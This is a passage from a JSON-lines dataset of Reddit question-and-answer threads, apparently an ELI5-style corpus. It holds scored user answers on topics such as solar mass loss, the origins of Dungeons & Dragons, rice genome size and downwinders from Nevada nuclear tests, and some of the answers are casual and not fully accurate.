is always a good idea. Those little clods will melt away if you've missed them.", "As someone who hates beans and has never bought a bag, I thought this was a bs post. I still think it might be but I'm not going to waste $.90 on a bag of beans I won't eat.", "I usually rinse dried beans in a colander with holes small enough to keep the beans from falling through, but large enough for little pebbles to pass through. I haven't run into any pebbles in a bag of beans that are the same size as or larger than a bean, so that usually works out pretty well for me. Even if there are larger pebbles, they'll at least get washed down to the bottom of the colander so that they're easier to find.", "Living in England, I've never seen this, is this an American thing? Or have I just been lucky?", "Soak the beans in water for about 30 minutes before cooking. The rocks fall to the bottom and the good beans float. Some beans will fall to the bottom. Leave them there when you skim the good beans.\n\nFunny story: My dad's favorite food that his mom prepared was beans and ham hock. They need to cook all day. My mom, shortly after they married tried to make it for him, but didn't know about the bean soaking thing. She got to smell it cooking all day and he got the good smell when he came in after work. He got significant sand and gravel in his first bite. He ate it all anyway.", "Same with sunflower seeds.  Though sometimes it's like a wood chip.  I guess for the same reason ", "After seeing the answers, if rocks come from harvesting, why don't we get rocks in canned beans?  Are they manually sorting?", "Back at my native place,  owners added rocks to increase the weight. Small stones add up when you think in tons.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "2ttnd6", "title": "if the sun burns 4 million tons of hydrogen per second why does its gravity not get lower?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ttnd6/eli5if_the_sun_burns_4_million_tons_of_hydrogen/", "answers": {"a_id": ["co27pur", "co27qt4", "co2828j"], "score": [8, 5, 16], "text": ["The 4 tons doesn't just disappear, 4 tons of hydrogen is converted into 4 tons of helium plus energy, so the sun stays (roughly) the same weight its whole life.", "First off, the sun is REALLY heavy, so that is a negible amount of its mass.\n\nIt doesn't burn the hydrogen either, but FUSES it together into helium, so it doesn't lose much mass either.", "The mass of the Sun is approximately 1.99x10^30 kilograms. Given your figure of 4,000,000 kg/s of mass lost, this gives us a total loss of 4x10^6 / 1.99x10^30 as a percentage of total mass. This is equal to 2x10^-24 (or .000000000000000000000002% of the suns mass) per second. \n\nSo, even after a whole year, the Sun only loses 00000000000000006% of its mass. \n\nAt this rate it would take 15860000000000000 years to lose 1% of its total mass.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "6kwaqu", "title": "Was Dungeons  &  Dragons being original when it came out?", "selftext": "Was the idea of welding together a bunch of pulp fantasy for a tabletop game fresh and new at the time, or was there a precedent Gygax and Arneson were building on?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6kwaqu/was_dungeons_dragons_being_original_when_it_came/", "answers": {"a_id": ["djpb5gj"], "score": [258], "text": ["There was a great deal of innovation in *Dungeons  &  Dragons* when it finally hit the market in 1974; D & D essentially created the idea of tabletop roleplaying games that we know today. However, as with a lot of ideas it went through several stages of evolution, evolving from tabletop miniatures wargaming to something similar to squad level skirmish wargaming to individual players controlling individual characters. As Gary Gygax explained it [in an interview](_URL_1_):\n\n >  This goes all the way back to Gen Con 1 with a fellow by the name of Jerry White from Portland, Oregon, as I recall. He brought a bunch of 40 millimeter Elastolin figurines done by Hauser. I started playing and got hooked. Jeff Perren happened to collect quite a few of those same scale miniatures and he had gone and set up rules for them. Henry Bodenstadt ran a gaming shop business out in New York, he had got his \"Siege of Bodenstadt\" game into Strategy  &  Tactics magazine at that time published by Chris Wagner. This was what really hyped the 40 mm figurines. \n\n >  Playing games with those miniatures and a castle, hooked me completely on such gaming, so Jeff Perren came to Lake Geneva and I had a sand table in my basement. He brought in his 40 millimeter Elastolins and his set of rules where one figure equaled 20 men, and we both had a heck of a time, but he lost interest later. And he left the rules with me and I said, \"I will expand these, they need to cover more historical settings.\" I turned two pages of rules into about four. And then I figured it would be a lot more fun to play man-to-man and make those weapons count. So I wrote up a set of man-to-man rules, then rules for jousting, and finally a fantasy supplement with dragons, heroes, magic swords and spells; and eventually those were published as *Chainmail.* [...]\n\n >  Well when you were one-for-one in most areas, you had an Elastolin figure; so the player would control any figure on the table that was his. And each one would take two hits to kill or whatever. Dave Arneson up in the Twin Cities started a *Chainmail* campaign where all the players each had one figure and he brought that style of game down to Lake Geneva to show me. I said, \"Wow, that's really cool\". So out of his inspiration, I created the D & D rules. \n\nThat's last part's a bit of a not-telling-the-whole truth on Gygax's part, since Arneson came up with a lot more concepts than just one player, one character, but Gygax ended up writing the rules.\n\nWhile there are some things we can say *now* were a precursor to roleplaying, none of them were widespread or commercial in the sense that D & D was. [Little Wars](_URL_2_) for example, was a miniatures wargame that was created in 1913 by H. G. Wells and used toy soldiers, but was much more whimsical and less fantastic than *Chainmail*. In an interview [Fritz Leiber](_URL_0_) talks about how he and his friend Harry Otto Fischer created a kind of miniatures board game based on their Lankhmar setting in the 60s, but it was never publshed until much later (and that, through the office of Gary Gygax); Leiber of course was the author of the Fafhrd  &  Gray Mouser stories, which were a substantial influence on *Dungeons  &  Dragons*.\n\nSo in a very real way, I would say Gygax and Arneson were innovators. They weren't creating things out of whole cloth - the system evolved over time out of miniatures wargaming rules, and the setting materials borrow liberally from dozens of pulp, fantasy, weird, and science fiction writers, from Tolkien, Michael Moorcock, and A. Merritt to Jack Vance, Robert E. Howard, and H. P. Lovecraft - but what they finally put together was unique."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.sffaudio.com/hourglass-productions-an-hour-with-fritz-leiber-the-author-and-his-works/", "http://www.webcitation.org/query?url=http%3A%2F%2Fwww.gamebanshee.com%2Finterviews%2Fgarygygax1.php&amp;date=2009-03-02", "http://www.gutenberg.org/ebooks/3691"]]}
{"q_id": "1b7ugb", "title": "Falling out of an airplane into water will kill you. What happens if you fall out of an airplane into an oil spill?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1b7ugb/falling_out_of_an_airplane_into_water_will_kill/", "answers": {"a_id": ["c94fai3"], "score": [10], "text": ["Surface tension isn't what kills you, it's the liquid's viscosity. Liquids are able to \"slip past\" themselves, which is why they're shapeless, but they can only do it so quickly. If the liquid suffers a very sudden disturbance (like a human body impacting its surface at  > 200 km/h), there may not be enough time for the momentum to disperse. The liquid nearest to the disturbance then becomes compressed because the liquid immediately in front won't \"get out of the way\" quickly enough. The problem is that the compressed layer of liquid pushes in all directions, including back towards the disturbance, so the body is crushed inwards on impact.\n\nWhile there are differences in viscosity among liquids, the difference between water and oil is not very large, and there wouldn't be a significant difference. The oil would make it slightly more survivable, but only technically. You could break a fall if the viscosity of the medium changed gradually, but the change from air to water (or pretty much any gas to a liquid) is too sudden.\n\nEdit: If the falling person were really, really lucky, they could fall into a patch of water where a massive gas leak (such as methane) were happening. If the water is sufficiently filled with tiny bubbles, that could work, since the mixture would behave as a liquid with lower viscosity, I believe.\n\nEdit edit: Now I am unsure of my answer (see below). If anyone with a good amount of knowledge in fluid dynamics could clear things up, I'd highly appreciate it. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2ex3yl", "title": "why is it that in all movies and tv shows, characters never end a conversation on the phone by saying \"goodbye\"? instead they simply hangup, regardless of genre or tone.", "selftext": "I've observed this every time I've watched a movie or TV show.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ex3yl/eli5_why_is_it_that_in_all_movies_and_tv_shows/", "answers": {"a_id": ["ck3t9ph", "ck3tbfh", "ck3ug8e", "ck3vnr2", "ck3wug2", "ck3yimo", "ck3zopt", "ck40f2b", "ck45tvh", "ck46t8s"], "score": [3, 6, 10, 17, 3, 4, 3, 4, 3, 3], "text": ["It saves (valuable) screen time, and doesn't bore the audience.", "Because it's s subtle display of their Bad-Assery and shows that they don't give a fuck.", "Pro-tip: don't try this in real life; they'll just think you're an asshole or that you got disconnected and will call you right back. ", "Movies and TV shows are supposed to show only the bits that matter. Screen time is limited and you want to keep your viewers focused. You don't see characters having their breakfast, having a shower, shaving, taking a poop, etc because they are mundane and don't contribute to the plot.", "Real life has a lot of boring aspects.  TV and movies try to focus on the non-boring parts.", "Yes! They do this in Mad Men, it always bothered me.", "Mulder  &  Scully.  ALL THE TIME!  How'd they just automatically know that the other didn't have more to say??", "the same reason people who drive cars on TV never look at the road, or people never finish a meal at a restaurant.\n\nIt's a movie.", "I once heard that the big movie companies came to an agreement that all should stop using the \"bye\" at the end of a call (and not waste time locking the cardoors) in movies. It was done to save time, and it was best that they all stopped doing it so it wouldn't be so weird. Hence the agreement between all of them.\n\nBut I can't find a source for it online now though, so it might a legend.", "Screenwriting 101: Stick with interesting and important dialogue instead of dull casual greetings and useless bits of information we so often hear in the real world. \n\nWatch the horrendously awful film \"The Room\" and count how many times you hear \"Oh hi. Hi Denny. Oh hi Mark.\" That movie pretty much breaks every rule when it comes to dialogue."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], []]}
{"q_id": "do8i0c", "title": "since honey is virtually 100% sugar, but table sugar is solid, what makes honey a (viscous) liquid?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/do8i0c/eli5_since_honey_is_virtually_100_sugar_but_table/", "answers": {"a_id": ["f5kper6"], "score": [3], "text": ["Because it\u2019s bee vomit!\n\nBut seriously, the glucose and dextrin interact in such a way that the crystallization of the honey differs, even between hives. Take into account the water content along with these interactions and that\u2019s why they get runny or more viscous with temperature changes!\n\nFun fact: some honey can be considered newtonian fluids and some can not, Thats how much the content and process differs between species."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7rzt4b", "title": "why does copper sulphate solution (for example), turn into crystals as the liquid evaporates?", "selftext": "If you make copper sulphate solution and then leave it to evaporate you get crystals. But why exactly do these crystals form? What I mean is, most other solids we see aren't crystals so what is special about copper sulphate that makes it take such an amazing and regular shape when solid? How is it different from all the other solids we have in the house? Can it only exist in solid form as a crystal or could you make a block of copper sulphate in any shape?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7rzt4b/eli5_why_does_copper_sulphate_solution_for/", "answers": {"a_id": ["dt0ttsv"], "score": [3], "text": ["Almost everything will form a solid substance in a regular pattern. By this I mean everything will form crystals at some temperature and pressure. Water is a wonderful substance which is polar. Even when two hydrogen atoms are associated with an oxygen atom there are spaces with more electrons and spaces with fewer electrons. The hydrogen proton will dissociate and wander off making hydroxyl.  Copper Sulfate will do this too. They have a grand time when copper sulphate is in solution with water. But when there is too much copper sulfate they will assemble into a crystal. Too many of them. Not enough water molecules to go around. So the copper sulfate will bond with itself. It will bond in a regular pattern producing crystals. Which is what you said. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7a6qcy", "title": "What temperature would be required for a modern match to spontaneously ignite under normal atmospheric conditions?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7a6qcy/what_temperature_would_be_required_for_a_modern/", "answers": {"a_id": ["dp7qvet"], "score": [472], "text": ["240 C (464 F).  Match heads are made from red phosphorus and potassium chlorate. When struck, they form a mixture that explodes/ignites.  The red phosphorus will ignite at 260 on its own.  Some other match heads use white phosphorus, which will ignite at room temperature, but they are covered with some material to prevent exposure to water or oxygen.  In that case, the ignition temperature would depend greatly on the specific material used to cover the matchhead"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3e28nh", "title": "How much Oil and Gasoline was Needed to Transport the Fuel to the Front Used by a Single T-34 During the Battle of Berlin? What Was the Cost to Transport it Compared to a Soldier's Earnings?", "selftext": "There are many pictures and videos of trucks transporting oildrums and jerry cans and simply considering the distances involved... Just wow. But what were the numbers actually like?\n\nEdit: I'd also be interested in the same question applied to other theaters and times in the war.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3e28nh/how_much_oil_and_gasoline_was_needed_to_transport/", "answers": {"a_id": ["ctauiuf"], "score": [6], "text": ["You might actually have to do some semi-original research to answer a question like this.\n\nWorks on logistics tend not to have a broad popular audience, and until the last few decades, candid Soviet sources weren't very available to English language authors.  Unless someone like David Glantz has a chapter that covers this, a technical account of Soviet logistics in 1945 may just not exist in English.  Or perhaps there is an obscure article in the Journal of Slavic Military studies.\n\nThe Soviet logistical situation in 1945 is really important though, because it's a key element of their political behavior at the dawn of the postwar era."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5h27of", "title": "why does rice have more genes than humans do?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5h27of/eli5_why_does_rice_have_more_genes_than_humans_do/", "answers": {"a_id": ["dawtrdp", "dax61qu", "dax6p6m", "dax9ftl", "dax9vaa", "daxa3en", "daxbgzg", "daxcetm", "daxcfar", "daxdpbs", "daxf9bq", "daxjk5n"], "score": [96, 362, 37, 3, 52, 3, 6, 3, 6, 4, 21, 2], "text": ["Size of genome isn't at all about complexity of the creature, it's about diversity. Basically what your fact means is that there are more species of rice than there are human, which is true. ", "The number of genes isn't what determines complexity, it's how those genes are used. Imagine the same principle with language. If you try to describe something simple with thousands of words, your description isn't more complex than a short and precise one. To oversimplify: In plants, 10 genes might do 10 different things. In mammals those 10 different things could be done with 1 gene. It's the context in which the gene is used that determines what it does. ", "Plants in general tend to have a lot more genes than animals. It's not known for sure why, but some people think that this is because plants are fixed in their locations. \n\nPlants are stuck in place so they have to deal with whatever conditions that they experience. On the other hand, when animals like you, are exposed to conditions you don't like (such as extremes of heat), you can move away from them, and you can seek out the right amount of things you do need (like the right amount of water and salt).\n\nGenes code for proteins, and when conditions are different, you need different proteins. By having larger genomes, plants have more options for ways to respond to different conditions. \n\nFor instance, plants can synthesize everything they need from only a tiny handful of simple raw ingredients, whereas animals need to eat plants or other animals to get what they need.", "The cells of plants have more genes so they can consistently produce a similar product. IE, you don't see much variation in strawberries because they have 8 copies of each gene. This, the dominant trait of red has 8 chances to be included.", "One element of this is that humans are mammals, and so have our body temperature (and to some extent nutrient intake) controlled within specific limits. We are also kept in a regulated environment (womb) until most of our basic development has been completed.\n\nIn the simplest sense, genes encode information, and you need a lot more information to deal with a variable situation.\n\nFor example, a set of human genes might say \"make protein X, when protein X gets to this level, start breaking down protein X and produce protein Z\". \n\nFor rice, that will need to say \"if you are growing and there is water make protein X, otherwise make protein Y, unless the temperature is too cold, in which case break down protein X and Y and make protein Z instead. If you have no sunlight then stop making any of these proteins and if nutrient X is available make all of them\". \n\nSo although I wouldn't say that rice is more advanced, I would say that it has a more complicated genome. ", "To offer another explanation, many scientists believe that chromosome count is a reflection of the age of an organism rather than complexity.  The highest chromosome counts, for example, are found in various ferns, which are *really damn old*.  Changes to chromosome accumulate as a species grows over time, so it's probable that the older a species is, the higher its chromosome count will be.", "I assume you're getting your numbers from this article:\n\n_URL_0_\n\nThis is partly a question of \"why\", partly a question of \"why not\".\n\n\"Why\", other posters have covered already. /u/agwe has covered how a plant can get many copies of the same genes due to errors in making new cells (polyploidy- we humans have 2 copies, so we're diploid). /u/RecoveredMisanthrope has covered why rice could have so many genes and not (for the sake of argument) be as complex as humans- they just don't use them in the same way.\n\nBut another question that you need to ask is \"why not\"? Is there a problem with having so many genes or so many copies of the same gene? As it turns out, there is some cost to having so much genetic material- it takes a little bit more nutrients to make new cells- but the advantages outweigh the detriments. Like /u/zipf has mentioned, these genes may let the plant deal with extraordinary circumstances that an animal would just flee from.\n\nAnother thing that you should consider is that the rice plant has been bred for **yield**- how much food it produces. The rice genome can accumulate as many useless genes as it can- as long as it keeps producing more and more rice, we will keep breeding it! That's how some breeds of cattle (Black Angus, for example) literally cannot survive without human husbandry.\n\nThat said, rice is very special among food crops in that it 1: is by and large diploid (2 copies of each gene- same as humans) and 2: has a very short genome compared to other food crops. That's what makes it so attractive for genetic engineering.", "Can someone eli5 to me why we humans have such a broad range of possible active genes? 30-45k seems like a huge difference.", "Surprised nobody has mentioned alternative splicing yet! Despite humans' genomes only encoding ~20,000 genes, those are simply open reading frames. The exons of reading frames can be spliced in multiple ways, yielding multiple isoforms per gene. \n\ntl;dr gene count =/= protein diversity", "From my understanding, most of the extra genes rice has are from duplication events, meaning those genes do very similar things.", "**ELI5:** (a) Humans and rice have roughly the same amount of genes, the difference is the ratio of genome length:genes, (b) rice has less non-coding sequences compared to humans. And no, (c) rice isn't more advanced than humans and humans aren't more advanced than rice, evolution isn't a goal-oriented process, therefore, you can't say that an organism is more advanced than other one.\n\n---\n\nExcellent question and also a common misconception.\n\nThere are two things to tackle: (a) how genes work and (b) biological complexity and (c) evolution.\n\n**On genes**\n\nDNA is made of a large sequence of molecules called [nucleic acids](_URL_7_), there are four of them: Adenine (A), cytosine (C), guanine (G) and thymine (T). Sequences of nucleic acids make up genes, genes -along with some other non-coding sequences- make chromosomes, and chromosomes make the genome.\n\nAs an analogy, think of genes like words. Some words have only one meaning, but some words have more than one meaning, some words have a different meaning depending the context, some words mean different things in different parts of the world, etc. The same goes for genes.\n\nIn the most simple level, a single gene codes for a single protein which has a single use. But genes and non-coding sequences work in more complex ways. There are genes that can code for more than one protein depending on the environment, are genes that code only for a part of a protein (there are proteins that need more than one gene to be coded), there are genes that don't code for anything, but regulate the coding of other genes. As you can see, there's a complex network on how genes work, it isn't a 1:1 ratio.\n\n---\n\n**On complexity**\n\nIt's easy to be mislead into thinking that \"larger DNA sequence\" equals \"more complex gene\", but that isn't the case. Something interesting is that the [length of a gene is highly preserved within eukaryotes](_URL_3_) (cells with nucleus), which means that, the larger your DNA sequence, the more genes you will have ([from this paper](_URL_5_)). \n\nLet's compare the size of the human genome (coding+non-coding) vs the size of the rice genome. Humans have 23 chromosomes, [~40k protein-coding genes](_URL_1_) and a length of 6,469.66M base pairs (Mb) when [diploid](_URL_0_) (2n).\n\nOn the other hand, rice has [24 chromosomes](_URL_4_), [~39k genes](_URL_6_), 1620.31 Mb when diploid.\n\nSo, there's only a difference of one chromosome, they have roughly the same amount of genes but the difference comes in the length of the genome.\n\nThat means that rice has a more straightforward system, with less non-coding sequences, compared to human genome.\n\n---\n\n** On evolution**\n\nA big misconception in biological evolution is to think that an organism is more advanced than other one, just because one of them has a greater apparent complexity (more structures, larger genome, etc.). The problem here is that evolution isn't a process with a goal, evolution isn't trying to achieve a more complex or more advanced state, evolution is only the process where organisms change from generation to generation.\n\nAll the organisms have been evolving for the same time, since [all the organisms raised from the same event](_URL_2_). We're all \"equally advanced\" but we have evolved to different environments and we have different evolutive history.", "Because humans (sadly) weren't selectively bred to be a food source. Not much variation in DNA, so not much variation in flavor."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["https://www.imperial.ac.uk/college.asp?P=3509"], [], [], [], ["https://en.wikipedia.org/wiki/Ploidy#Diploid", "https://en.wikipedia.org/wiki/Human_genome#Coding_sequences_.28protein-coding_genes.29", "https://en.wikipedia.org/wiki/Last_universal_common_ancestor", "http://mbe.oxfordjournals.org/content/23/6/1107/F1.expansion.html", "https://en.wikipedia.org/wiki/List_of_organisms_by_chromosome_count", "http://mbe.oxfordjournals.org/content/23/6/1107.full", "http://rice.plantbiology.msu.edu/", "https://upload.wikimedia.org/wikipedia/commons/thumb/3/37/Difference_DNA_RNA-EN.svg/350px-Difference_DNA_RNA-EN.svg.png"], []]}
{"q_id": "ew5lsh", "title": "over 1,000 nuclear tests have occurred at the nevada test site. why wasn't there any major repercussions?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ew5lsh/eli5_over_1000_nuclear_tests_have_occurred_at_the/", "answers": {"a_id": ["ffztbq7", "ffztlaq", "ffztsbm", "ffztxz8", "ffzyvdf", "ffzzmw0", "fg02s8f", "fg05320", "fg06nns", "fg084ng", "fg097xn", "fg09ap0", "fg09gyx", "fg0a6s1", "fg0ayre", "fg0bndg", "fg0cgyx", "fg0ekq4", "fg0fjjt", "fg0j0up", "fg1mtre"], "score": [1219, 57, 427, 150, 6, 13, 46, 15, 3, 23, 10, 3, 4, 4, 4, 3, 2, 2, 3, 3, 2], "text": ["The vast majority of nuclear tests are or were carried out underground so the escape of radioactive fallout was severely limited if not prevented. Surface, underwater, and aerial testing was banned by the Partial Test Ban Treaty in 1963, initially signed by the US, USSR and UK and subsequently by most other nations.\n\n_URL_0_\n\nEdit - corrected typo", "A nuke's explosion results in a lot of gamma radiation, and so much light that it's like a laser hitting everything and causing it to burst into flames.  But in any case, the gamma radiation is like light, once the flash / explosion is over, the gamma radiation is over, too.  Items (dirt, dust, air, buildings, whatever) don't \"hold\" gamma radiation, they don't become radioactive that way.\n\nThe explosion also \"explodes\" the radioactive metal in the bomb (plutonium, uranium), and the little fragments and dust that form from that ARE radioactive and can stay radioactive for a long time.  \n\nSo, basically, the amount of radioactive dust / material that forms is in the cloud of the explosion, and if it's in a desert environment where it doesn't get into the water streams / isn't carried away by clouds or strong winds, it'll just settle in the limited area around the explosion, and make the ground there radioactive.\n\nSo, TLDR, increased rate of cancer = because the radiation levels are high for the ground / sand in the area.  But \"no major environmental impacts\" = because there isn't a high density of animals, plants, or people in the area to be affected by the radiation.", "There are [Atomic downwinders](_URL_1_) including john wayne who were or claimed to be affected by the above ground tests. these days it's mostly just the dirt itself that is radioactive, and only to those who illegally scrap metal from the area (there's a [fantastic documentary](_URL_0_) about these guys). a really interesting thing is that [steel produced before atomic weaponry is more valuable than steel forged afterwards](_URL_2_)", "Some statistics for comparison:\n\nNevada: Land area 286,367 sqkm  population: 1 million circa 1970\n\nJapan: Land area 377,915 sqkm  population: 71million est circa 1945\n\nTakeaway. Nevada is huge and very (very) empty of people. And most of the tests were done underground \\~90%", "Atomic bombs are very extremely bad, but at the same time they are not what they are in movies and videogames. They can kill people within miles of a bomb, and that is unthinkably horrible and big for a single bomb, but media tends to portray them as like, death incarnate spreading out for hundreds or thousands of miles, which really isn't the case. The range of a bomb is unimaginably big for a bomb, but like, it's only really like 10 or 20 miles. If you set one off in a city ten or twenty miles would be the whole city and kill millions, but at some just random spot it's not as big a deal. It's not gonna murder everyone 70 miles away or anything.", "The end-of-the-world scenario that we associate with nuclear weapons isn't directly caused by the nukes themselves. It's not the explosions that would cause nuclear winter, it's the smoke from all the cities that would be on fire.", "There were huge numbers of fallout-related deaths in Hiroshima and Nagasaki due in large part to the simple fact that those bombs detonated in an area with a high population density.  By comparison, the Nevada desert is empty for miles and miles and miles.  You can't kill people if they aren't around.\n\nThere certainly was fallout resulting from the Nevada tests, and there certainly was environmental impact.  (By fallout what is meant here is transmutation of elements in the ground by the bomb's radiation - that radiation takes innocuous elements in the ground and turns them into radioactive isotopes that stick around for a long time.)  You can't really avoid either one - all you can do is try to minimize the detrimental effects.  Above-ground detonations place the fallout into the prevailing winds, where it's carried away and deposited where it settles out.  Underground detonations place the fallout underground, where groundwater contamination is the bigger concern.  Neither of these options is much fun.\n\nDoing these tests in the desert is an effort to mitigate both of these... you have a vast and empty area, so most of the fallout from above-ground testing will settle in the empty desert, and you have a place where there's comparatively little groundwater moving around, which hopefully minimizes the transport of the underground fallout.\n\nTL;DR - there was plenty of significant environmental impact in Nevada.  The impact (and the degree to which people give a shit about it... people tend not to care much about empty desert) is just different, due to the minimizing effects of the desert environment.", "If you have the chance, visit the [National Atomic Testing Museum](_URL_0_) in Las Vegas. It's awesome.", "I'm sure there are a lot of real physical factors that made the outcomes different.. Population density and test methods..\n\nThere is also probably a lot of creativity and incentive which can distort the statistics.  In other words, the people who are victims of the bombs want the numbers high, while the entities that depend upon testing and the existence of the bomb will want to downplay the consequences.", "There were repercussions. I was part of the St Louis baby tooth survey.\n\"The results of a more comprehensive study of the elements found in the teeth collected showed that children born in 1963 had levels of\u00a0strontium 90\u00a0in their baby teeth that were 50 times higher than those found in children born in 1950, before the advent of large-scale atomic testing. The findings helped convince U.S. President\u00a0John F. Kennedy\u00a0to sign the\u00a0Partial Nuclear Test Ban Treaty\u00a0with the\u00a0United Kingdom\u00a0and\u00a0Soviet Union, which ended the above-ground\u00a0nuclear weapons testing\u00a0that placed the greatest amounts of\u00a0nuclear fallout\u00a0into the atmosphere.\"\n_URL_0_", "Those tests were underground and contained the nuclear fallout that way, but not every test was.\n\nHere's an article about 5 guys who stood under an exploding nuclear bomb that was detonated in the sky above them. They did all survive it, and lived to their old ages although rumor is that half of them did get cancer (which could just be a coincidence).\n\n[_URL_2_](_URL_2_)\n\nThat being said, the article points out a test that was done above ground which caused radioactive fallout on an unsuspecting town.\n\n\" The folks in St. George were repeatedly hit by uninvited fallout. Alex wrote me that in 1953, one test, codenamed \"Harry\" actually deposited quite a lot of fallout on St. George, to the point where residents were forced to stay inside for many hours, and prohibited from washing their cars until they became less radioactive.\n\nOver the years, says Alex, the U.S. government has paid some $813 million to more than 16,000 \"downwinders\" to compensate them for illnesses presumably connected to the bomb testing program. So it is clear that tests like these \u2014 often done to demonstrate the safety of nuclear weapons in the atmosphere \u2014 were not safe at all. \"\n\nThe most tragic one was probably the Bikini Atoll test where an island in the South Pacific was forcefully evacuated of their native residents (promised they could come back after) and then used for repeated nuclear tests of large bombs. The site was so radioactive afterwards that none of the residents could return, and they were relocated to another island where they dealt with starvation because the new island didn't have such a lush and successful reef around it.\n\n[_URL_1_](_URL_0_)\n\nWhy on earth the USA didn't just use the uninhabited and crappy island they moved the people to in the first place is a mystery to me.", "There's a large area north of Mercury Nevada (Nevada Test Site) where it looks like the moon, numerous craters from hundreds of underground nuclear tests .  Look it up on google earth.  I drove there everyday from Las Vegas , was a contractor for several years. \n\n37 N  116 w  ..", "The high leukemia rates and other cancers of St. George, Utah suggest there have been major repercussions, only decades later.", "20 years ago, I went to visit some family in Utah. Stopped in St. George to eat and talking to some locals, was told by many of those in the diner that almost everyone in St. George has some form of cancer that they believed was caused by the testing in Nevada.", "There were. My mom and uncle were affected by the radiation and both grew hundreds of tumors on their thyroids. People like them are called \"downwinders\" apparently. My mom's doctor said she sees a lot of similar cases from people who grew up around the test sites.\n\n_URL_0_", "[The Kodak company in Rochester NY detected radiation coming from a plant in Indiana that was contaminated by radioactive fallout from testing.](_URL_2_)  [The radioactive carbon released by testing eventually got into every living thing and became a biomarker for researchers.](_URL_0_)\n\n[A great animation of every nuclear detonation since 1945.](_URL_1_)  The flurry of tests in the 1950s-70s is insane.\n\n[Aerial views of Nevada test site.](_URL_3_)", "There were HUGE lawsuits in the decades following the tests.  [_URL_0_](_URL_0_)\n\nFor instance:  \"As of April 20, 2018, 34,372 claims had been approved for a total of $2,243,205,380. Nevada Site Downwinders have fared better than some other Downwinder communities in this respect, some of whom (such as the [Tularosa Basin Downwinders)](_URL_1_) are still seeking compensation and recognition. \"\n\nMuch of the downwinder impact wasn't from the initial bomb, but the long-term exposure via the soil and water (i.e., environmental).", "Not so much radiation from atomic blasts.  12000 deaths attributed to radiation from Hiroshima and Nagasaki out of 140000 total deaths, with an additional extra 2000 cancer deaths in ensuing years.  Most deaths were blunt force trauma and thermal burns.  The fallout produced is not trivial or safe, but is not close to the primary lethal effects of the bombs.\n\nAlso, most of the underground tests were small yield test, which are often sufficient to get required information while being much more economical and safer than large yield test.", "The vast majority of those tests were conducted underground, but the ones that were done above ground *did* cause serious damage to people downwind, mostly in Nevada, northern Arizona and southern Utah. There were large spikes in cancers in these areas, and Congress had to pass the Radiation Exposure Compensation Act to give money to people who suffered due to radiation exposure.", "My grandfather  &  his family lived in southern Utah, and ran cattle and did lots of ranching things near the testing sites. We lost him to severe pancreatic cancer a few years back, he was a strong strong man. We didn\u2019t even know he was sick, it was a  4x4 crash that actually got him into the hospital and that\u2019s when they found it.  My grandma, now 82, recieved a large sum of money from the downwinders fund because that was determined to be the cause.", "One study concluded the fallout resulted in thyroid cancer, mostly in children.  There doesn't appear to be a strong correlation with adults, however.\n\n[_URL_0_](_URL_0_) \n\n*\" In summary, in this ecologic study, we observed a significant dose response between thyroid cancer incidence and exposure from nuclear weapons testing fallout before age one, but did not find such a dose-response for exposure at older ages. \"*"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.m.wikipedia.org/wiki/Partial_Nuclear_Test_Ban_Treaty"], [], ["https://www.youtube.com/watch?v=I4pFat3VTkI", "https://www.atomicheritage.org/history/nevada-test-site-downwinders", "https://en.wikipedia.org/wiki/Low-background_steel"], [], [], [], [], ["https://nationalatomictestingmuseum.org/?utm_source=local&amp;utm_medium=organic&amp;utm_campaign=gmb"], [], ["https://en.m.wikipedia.org/wiki/Baby_Tooth_Survey"], ["https://en.wikipedia.org/wiki/Nuclear_testing_at_Bikini_Atoll", "https://en.wikipedia.org/wiki/Nuclear\\_testing\\_at\\_Bikini\\_Atoll", "https://www.npr.org/sections/krulwich/2012/07/16/156851175/five-men-agree-to-stand-directly-under-an-exploding-nuclear-bomb"], [], [], [], ["https://en.wikipedia.org/wiki/Downwinders"], ["https://www.smithsonianmag.com/smart-news/nuclear-bombs-made-it-possible-to-carbon-date-human-tissue-20074710/", "https://www.youtube.com/watch?v=LLCF7vPanrY", "https://www.popularmechanics.com/science/energy/a21382/how-kodak-accidentally-discovered-radioactive-fallout/", "https://www.dailymail.co.uk/news/article-2558673/Out-world-Interactive-map-reveals-Moon-like-craters-blasted-Nevada-desert-decades-nuclear-weapons-tests.html"], ["https://www.atomicheritage.org/history/nevada-test-site-downwinders", "https://www.atomicheritage.org/history/tularosa-basin-downwinders"], [], [], [], ["https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3865880/"]]}
